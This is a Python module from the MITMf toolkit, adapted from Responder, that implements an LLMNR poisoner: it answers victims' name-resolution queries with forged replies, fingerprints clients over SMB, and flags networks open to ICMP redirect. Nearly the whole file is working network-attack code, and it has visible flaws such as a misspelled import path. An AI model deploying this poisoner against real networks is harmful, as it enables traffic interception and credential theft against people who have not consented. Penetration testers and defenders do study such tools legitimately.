MITMf/core/poisoners/LLMNR.py
byt3bl33d3r fd9b79c617 first pass at refactoring:
directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes
2015-08-02 21:15:10 +02:00

94 lines
3.2 KiB
Python

#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import core.responder.settings
import core.responder.fingerprint
from core.reponder.packets import LLMNR_Ans
from core.responder.odict import OrderedDict
from SocketServer import BaseRequestHandler
from core.responder.utils import *
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
else:
pass
if settings.Config.AnalyzeMode:
IsICMPRedirectPlausible(settings.Config.Bind_To)
# LLMNR Server class
class LLMNRServer(BaseRequestHandler):
def handle(self):
data, soc = self.request
Name = Parse_LLMNR_Name(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
# Poisoning Mode
else:
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
Buffer.calculate()
soc.sendto(str(Buffer), self.client_address)
LineHeader = "[*] [LLMNR]"
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
if Finger is not None:
print text("[FINGER] OS Version : %s" % color(Finger[0], 3))
print text("[FINGER] Client Version : %s" % color(Finger[1], 3))